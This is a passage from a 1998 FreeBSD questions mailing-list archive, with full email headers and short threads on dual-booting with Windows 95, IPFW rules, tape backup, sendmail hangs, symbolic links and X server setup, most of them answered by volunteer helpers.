owner-freebsd-questions@FreeBSD.ORG) Received: from host.ka.net (root@host.ka.net [207.51.78.4]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id PAA02316 for ; Sun, 5 Apr 1998 15:29:33 -0700 (PDT) (envelope-from mp@ka.net) Received: from default (67max2.ka.net [207.51.90.67]) by host.ka.net (8.8.5/8.8.5) with SMTP id SAA24577; Sun, 5 Apr 1998 18:30:01 -0400 (EDT) Message-ID: <003d01bd60c0$ca25bca0$435a33cf@default> From: "Matthew Phillips" To: Cc: "Matthew Phillips" Subject: 2 os Date: Sun, 5 Apr 1998 18:29:35 -0000 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_003A_01BD60C0.C8CCE360" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 4.72.2106.4 X-MimeOLE: Produced By Microsoft MimeOLE V4.72.2106.4 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG This is a multi-part message in MIME format. ------=_NextPart_000_003A_01BD60C0.C8CCE360 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Can I have FreeBSD and keep windows 95? ------=_NextPart_000_003A_01BD60C0.C8CCE360 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Can I have FreeBSD and keep windows=20 95?
------=_NextPart_000_003A_01BD60C0.C8CCE360-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 15:31:57 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id PAA03290 for freebsd-questions-outgoing; Sun, 5 Apr 1998 15:31:57 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id PAA03204 for ; Sun, 5 Apr 1998 15:31:48 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id PAA17679; Sun, 5 Apr 1998 15:31:43 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Sun, 5 Apr 1998 15:31:43 -0700 (PDT) From: Doug White Reply-To: Doug White To: Joshua Frank cc: "'freebsd-questions@freebsd.org'" Subject: Re: Installing though a Proxy Server In-Reply-To: <01BD60CD.97547A20@joshuafr> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sat, 4 Apr 1998, Joshua Frank wrote: > Where can I get more information on installing FreeBSD though a proxy server. In the Options screen, set FTP Passive to YES and see if that helps. If that doesn't work, try copying the files to a DOS partition and copy from there, or set up a FreeBSD FTP mirror in your local net. OR buy the CD. :) Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 15:32:00 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id PAA03320 for freebsd-questions-outgoing; Sun, 5 Apr 1998 15:32:00 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from indiemedia.com (warhol.indiemedia.com [207.97.169.2]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id PAA03210 for ; Sun, 5 Apr 1998 15:31:49 -0700 (PDT) (envelope-from alanna@indiemedia.com) Received: from localhost (alanna@localhost) by indiemedia.com (8.8.5/8.8.5) with SMTP id SAA01742 for ; Sun, 5 Apr 1998 18:35:38 -0400 (EDT) Date: Sun, 5 Apr 1998 18:35:38 -0400 (EDT) From: Alanna Alexandra To: questions@FreeBSD.ORG Subject: IPFW Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hey, I just installed IPFW on my box and I am trying to figure out how to add rules... I read the Handbook and followed the sample rules but while it said it added them when I rebooted the rules were gone.. I just want to allow tcp traffic from a computer on the same network how do I do it??? ipfw add accept tcp from any to othercomputer.com 23 doesn't work!! Thanks in advance! Alanna To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 15:35:45 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id PAA04577 for freebsd-questions-outgoing; Sun, 5 Apr 1998 15:35:45 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gate.leissner.se (gate.leissner.se [193.45.192.34]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id PAA04181 for ; Sun, 5 Apr 1998 15:34:18 -0700 (PDT) (envelope-from pol@leissner.se) Received: from leissner.se (uucp@localhost) by gate.leissner.se (8.8.5/8.8.4) with UUCP id WAA24576 for freebsd.org!questions; Sun, 5 Apr 1998 22:34:16 GMT Received: from lda.leissner.se by lda.leissner.se id aa06441; 6 Apr 98 0:34 SST Message-Id: <3.0.32.19980406003356.011130f0@lda> X-Sender: pol@lda X-Mailer: Windows Eudora Pro Version 3.0 (32) Date: Mon, 06 Apr 1998 00:34:02 +0200 To: questions@FreeBSD.ORG From: Peter Olsson Subject: Anyone got the Frontpage HitCounter (fpcount.exe) working??? Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I have installed the latest Frontpage extensions. I used the BSDI2.1-version. It seems ok, but I can't update the counter. It just stays at one whatever I do. The filetype of fpcount.exe is fpcount.exe: BSD/OS i386 compact demand paged executable not stripped Seems ok and I can run fpcount.exe on the commandline, it just returns without any visible action. Anyone have this working? What have I missed??? Thanks for your time! Peter Olsson pol@leissner.se To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 15:38:54 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id PAA05903 for freebsd-questions-outgoing; Sun, 5 Apr 1998 15:38:54 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id PAA05698 for ; Sun, 5 Apr 1998 15:38:29 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id PAA17704; Sun, 5 Apr 1998 15:38:27 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Sun, 5 Apr 1998 15:38:27 -0700 (PDT) From: Doug White Reply-To: Doug White To: dabbabi mounir cc: questions@FreeBSD.ORG Subject: Re: Running audio files under FreeBSD In-Reply-To: <19980404075846.23814.rocketmail@send1a.yahoomail.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, 3 Apr 1998, dabbabi mounir wrote: > I have a multimedia PC (Pentium 200), I had installed the XFree86 > 3.3.1 for FreeBSD 2.2, I want to run audio files for my applications > such as vic (video conferencing tools) and vat (vocal audio tools). So > what must I do to run the audio files. That doesn't make sense. vat doesn't play files, it plays audio from multicast groups on the network. Please be more specific. Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 15:44:05 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id PAA07810 for freebsd-questions-outgoing; Sun, 5 Apr 1998 15:44:05 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id PAA07688 for ; Sun, 5 Apr 1998 15:43:36 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id PAA17711; Sun, 5 Apr 1998 15:43:17 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Sun, 5 Apr 1998 15:43:16 -0700 (PDT) From: Doug White Reply-To: Doug White To: am@f1.ru cc: am@amsoft.ru, freebsd-questions@FreeBSD.ORG Subject: Re: Tape backup technique In-Reply-To: <199804041018.OAA29906@px.f1.ru> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sat, 4 Apr 1998, Andrew Maltsev wrote: > > > > Pretty much. Thus the existence of the `mt' command. > > > > > > Of course I'm using `mt' to rewind and jump over the files, but I see no > > > command to get tape position. > > > > Why do you need it, btw? > > Just to know. To plan what will fit and what was average compression > ration and so on. If it is impossible to know from streamer - why not to > do it in driver? Who does the search for eof, for example - streamer or > driver? If driver then it's easy to add such counter to driver I think.. Assuming the tape drive reports that information. > I even attempted to eject the tape and see position, but the tape is > rewinded prior to eject.. Nice service :) Did `mt eject' do that? > > > And yet another question - what to do if 0-level dump doesn't fit to one > > > tape? > > > > dump will ask for another tape. > > In reality it says something like "Cannot write, abort entire > backup process [yes/no] ?" > Hm.. I had not tried to answer `no', btw :) You need to tell it the tape size. Some tape drives don't return an end-of-tape indication, they report an error. That or the SCSI controller. :( if it's the latter we might be able to fix it. > Btw, I'd wrote more or less detailed plan for myself to do some kind of > tape helper - something that will always know what is on that tape and > help networked computers to access `tape server' reliably and easy. Amanda? Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 15:53:31 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id PAA09844 for freebsd-questions-outgoing; Sun, 5 Apr 1998 15:53:31 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id PAA09660; Sun, 5 Apr 1998 15:52:26 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id PAA17724; Sun, 5 Apr 1998 15:52:24 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Sun, 5 Apr 1998 15:52:23 -0700 (PDT) From: Doug White Reply-To: Doug White To: Malte Lance cc: questions@FreeBSD.ORG, freebsd-scsi@FreeBSD.ORG Subject: Re: jumper-setting for SONY SDT-7000 In-Reply-To: <3.0.32.19980404133529.00749da0@cyclone.degnet.baynet.de> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sat, 4 Apr 1998, Malte Lance wrote: > Does anyone have detailed info on the meaning of the > jumpers "DC Disable" and "Terminator Power" for the > SONY SDT-7000 ? Hm. >From the Sony web page http://www.ita.sel.sony.com/support/storage/faqs/dat.html#1: How does one set the SCSI ID, termination, term power, or parity on the SDT-5000/5200 tape drive? Please refer to the SDT-5000/5200 Jumper Setting document. A FAX copy of the SDT- 5000/5200 Jumper Settings document can be obtained by calling the Sony FAX Retrieval System at 1-800-883-7669, document 5761. That might explain `DC Disable'. I'm tempted to think `Data Compression Disable'. `Terminator Power' selects the source of terminator power; it should be set to come from the SCSI Bus. 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If you use Micom, check us out! http://www.online-success.com/business/micom or e-mail inquiries to: busdev@online-success.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 15:54:13 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id PAA10014 for freebsd-questions-outgoing; Sun, 5 Apr 1998 15:54:13 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from jason05.u.washington.edu (root@jason05.u.washington.edu [140.142.78.6]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id PAA09885 for ; Sun, 5 Apr 1998 15:53:49 -0700 (PDT) (envelope-from jcwells@u.washington.edu) Received: from saul2.u.washington.edu (root@saul2.u.washington.edu [140.142.56.21]) by jason05.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with ESMTP id PAA18660; Sun, 5 Apr 1998 15:53:35 -0700 Received: from s8-37-26.student.washington.edu (S8-37-26.student.washington.edu [128.208.37.26]) by saul2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.04) with SMTP id PAA08796; Sun, 5 Apr 1998 15:53:35 -0700 (PDT) Date: Sun, 5 Apr 1998 14:52:24 -0700 (PDT) From: "Jason C. Wells" X-Sender: jason@s8-37-26.student.washington.edu Reply-To: "Jason C. Wells" To: Matthew Phillips cc: freebsd-questions@FreeBSD.ORG Subject: Re: 2 os In-Reply-To: <003d01bd60c0$ca25bca0$435a33cf@default> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sun, 5 Apr 1998, Matthew Phillips wrote: > Can I have FreeBSD and keep windows 95? Yes. This is what I and many others already do. Read the instructions at: http://www.freebsd.org/handbook/install.html When doing the install, pay particular attention to hardrive partitioning. Do NOT do a "dangerously dedicated" installation. Have fun, | Stop warning me about the latest virus. Learn more... Jason Wells | http://ciac.llnl.gov/ciac/CIACHoaxes.html To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 15:54:52 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id PAA10252 for freebsd-questions-outgoing; Sun, 5 Apr 1998 15:54:52 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id PAA10161 for ; Sun, 5 Apr 1998 15:54:33 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id PAA17728; Sun, 5 Apr 1998 15:54:30 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Sun, 5 Apr 1998 15:54:30 -0700 (PDT) From: Doug White Reply-To: Doug White To: laszlo vagner cc: questions@FreeBSD.ORG Subject: Re: intel ether express In-Reply-To: <199804041556.JAA11653@mutsgo.dyn.ml.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sat, 4 Apr 1998, laszlo vagner wrote: > i give up! > > can you tell me what ethernet card to buy that uses 10base2/bnc that is > the best supported? ISA model please. NE2000 based cards work quite well. Just about any cheap ISA card. :) Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 15:55:26 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id PAA10414 for freebsd-questions-outgoing; Sun, 5 Apr 1998 15:55:26 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from mail.iconz.co.nz (mail.iconz.co.nz [202.14.100.36]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id PAA10310 for ; Sun, 5 Apr 1998 15:55:03 -0700 (PDT) (envelope-from jonc@pinnacle.co.nz) Received: from news.iconz.co.nz (status.gen.nz [202.14.100.1]) by mail.iconz.co.nz (8.8.7/8.8.7) with ESMTP id KAA131660891816891; Mon, 6 Apr 1998 10:54:51 +1200 (NZST) Received: (from uucp@localhost) by news.iconz.co.nz (8.8.5/8.8.5) with UUCP id KAA21615; Mon, 6 Apr 1998 10:55:40 +1200 Received: from tui.pinnacle.co.nz (tui.pinnacle.co.nz [202.37.163.3]) by kakapo.pinnacle.co.nz (8.8.8/8.8.8) with ESMTP id KAA09338; Mon, 6 Apr 1998 10:49:28 +1200 (NZST) Received: from localhost (jonc@localhost) by tui.pinnacle.co.nz (8.8.8/8.8.8) with SMTP id KAA06263; Mon, 6 Apr 1998 10:49:27 +1200 (NZST) X-Authentication-Warning: tui.pinnacle.co.nz: jonc owned process doing -bs Date: Mon, 6 Apr 1998 10:49:27 +1200 (NZST) From: Jonathan Chen To: Anber Rybar cc: questions@FreeBSD.ORG Subject: Re: ln -s In-Reply-To: <19980405161205.17107@atrophy.dyn.ml.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sun, 5 Apr 1998, Anber Rybar wrote: [snip] > The copy of ln that ships with FreeBSD will make a soft link to a directory a > hard link. I want to know why. No it doesn't; as the following demonstrates most clearly: 10:44am> uname -a FreeBSD kakapo.pinnacle.co.nz 2.2.5-RELEASE FreeBSD 2.2.5-RELEASE #0: Mon Feb 2 11:47:50 NZDT 1998 root@kakapo.pinnacle.co.nz:/usr/src/sys/compile/KAKAPO i386 10:44am> mkdir a 10:44am> ls a/ 10:44am> ln a b ln: a: Is a directory 10:44am> ln -s a b 10:44am> ls a/ b> 10:44am> rm b 10:44am> ls a/ -- Jonathan Chen ---------------------------------------------------------------------- "Don't forget the most important rule to live by.. Never believe anything you read on the USENET" To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 15:56:16 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id PAA10855 for freebsd-questions-outgoing; Sun, 5 Apr 1998 15:56:16 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id PAA10696 for ; Sun, 5 Apr 1998 15:56:03 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id PAA17735; Sun, 5 Apr 1998 15:55:59 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Sun, 5 Apr 1998 15:55:59 -0700 (PDT) From: Doug White Reply-To: Doug White To: Garret Toomey cc: freebsd-questions@FreeBSD.ORG Subject: Re: HELP: make depend fails!! In-Reply-To: <35266F1C.CBE4DC98@rebel.flash.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sat, 4 Apr 1998, Garret Toomey wrote: > I am new to kernel compiling, the handbook said to ask for help here. So > here it goes. > > I can config kernel fine, but during the make depend, it errors out. > According to the handbook, this is caused my something wrong in the > config file and to send the config file to this list. I have attached > the file. I really appreciate any help to get this compiled. Please post the error message(s) you are receiving. Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 15:57:52 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id PAA11400 for freebsd-questions-outgoing; Sun, 5 Apr 1998 15:57:52 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id PAA11305 for ; Sun, 5 Apr 1998 15:57:40 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id PAA17739; Sun, 5 Apr 1998 15:57:03 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Sun, 5 Apr 1998 15:57:03 -0700 (PDT) From: Doug White Reply-To: Doug White To: Dima Dorfman cc: freebsd-questions@FreeBSD.ORG Subject: Re: sendmail In-Reply-To: <3.0.5.32.19980404094000.00908e90@mail.zwb.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sat, 4 Apr 1998, Dima Dorfman wrote: > Hi: > > I'm having trouble with sendmail. On boot, it blocks, and I don't know > why. It used to do this on my previous Linux system, but when I added a > reverse DNS mapping for '127.0.0.1', it was OK. I did that now, and it > still does it, and, now, I can't find the sendmail log file where it > records its boot/startup errors. It's still doing a DNS lookup. Make sure your machine's name is listed in /etc/hosts. You can hit Control-C to bypass. > When I try it from the command line, it won't exit until I 'kill' it, > usually, it's supposed to send a message! /var/log/maillog or /var/log/messages depending on severity. Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 16:00:00 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id QAA12301 for freebsd-questions-outgoing; Sun, 5 Apr 1998 16:00:00 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id PAA12228 for ; Sun, 5 Apr 1998 15:59:51 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id PAA17748; Sun, 5 Apr 1998 15:59:41 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Sun, 5 Apr 1998 15:59:41 -0700 (PDT) From: Doug White Reply-To: Doug White To: LordVaXen cc: freebsd-questions@FreeBSD.ORG Subject: Re: OPenBSD FREEBSD BSDI ??? In-Reply-To: <35267514.5209852D@deathsdoor.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sun, 5 Apr 1998, LordVaXen wrote: > emm..i just wanna know .. which of this three is the best .. and wats > the diffrence.. BSDi costs money, OpenBSD and FreeBSD are free. That's about the difference. Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 16:00:46 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id QAA12517 for freebsd-questions-outgoing; Sun, 5 Apr 1998 16:00:46 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id PAA11773 for ; Sun, 5 Apr 1998 15:58:40 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id PAA17744; Sun, 5 Apr 1998 15:58:36 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Sun, 5 Apr 1998 15:58:35 -0700 (PDT) From: Doug White Reply-To: Doug White To: Dima Dorfman cc: freebsd-questions@FreeBSD.ORG Subject: Re: TCP/IP Installation In-Reply-To: <3.0.5.32.19980404094330.0090cc50@mail.zwb.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sat, 4 Apr 1998, Dima Dorfman wrote: > I'm trying to install TCP/IP on my FreeBSD 2.2.6 box. When I try ifconfig, > it sets the IP, and I can ping it successfully, but, I can't ping an > address outside my box! When I try to ping my webserver that's on the same > network, it fails with a 'sento: permission denied'. I'm logged in as > root, so understand that as a 'hardware won't let you do that'. Also, > noone can ping MY address! You have ipfw running and it's denying your ping. You probably don't have any rules set so everything is being blocked. Set `firewall_type' to "open" in /etc/rc.conf and reboot, or disable ipfw. Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 16:01:14 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id QAA12634 for freebsd-questions-outgoing; Sun, 5 Apr 1998 16:01:14 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id QAA12473 for ; Sun, 5 Apr 1998 16:00:28 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id QAA17755; Sun, 5 Apr 1998 16:00:22 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Sun, 5 Apr 1998 16:00:22 -0700 (PDT) From: Doug White Reply-To: Doug White To: Lord Epic cc: freebsd-questions@FreeBSD.ORG Subject: Re: Help Installing X on Free BSD In-Reply-To: <01bd5ff5$4e170680$28e09ed0@kenparso> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sat, 4 Apr 1998, Lord Epic wrote: > Everytime I try to install FreeBSD I get three types of errors; > > The X link and config file don't get written by xf86config. > If it tries to load the screen goes blank and system locks up > or both of the above mentioned at the same time. I went and got the bin > XSuSE-Elsa-GLoria server also and still have the same problem. I have a > Diamond FireGL-1000 Pro. Could you send me some directions? I've have an > install guide but it assumes that everything goes just fine. Running on a > Dell p2-333 with a serial mouse. with free-BSD 2.2.5. Are you sure that X server works with that card? I'd contact SuSE for help. Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 16:01:47 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id QAA12792 for freebsd-questions-outgoing; Sun, 5 Apr 1998 16:01:47 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id QAA12657 for ; Sun, 5 Apr 1998 16:01:07 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id QAA17759; Sun, 5 Apr 1998 16:01:02 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Sun, 5 Apr 1998 16:01:02 -0700 (PDT) From: Doug White Reply-To: Doug White To: "Kevin G. Eliuk" cc: FreeBSD Questions Subject: Re: exec: makewhatis: not found ? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sat, 4 Apr 1998, Kevin G. Eliuk wrote: > > Hello all, > > The error message "exec: makewhatis: not found" has shown up > in my most recent '/etc/weekly', and I am having a little trouble > deducing why. Try specifying the full path to makewhatis in weekly. Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sun Apr 5 16:02:38 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id QAA13157 for freebsd-questions-outgoing; Sun, 5 Apr 1998 16:02:38 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org 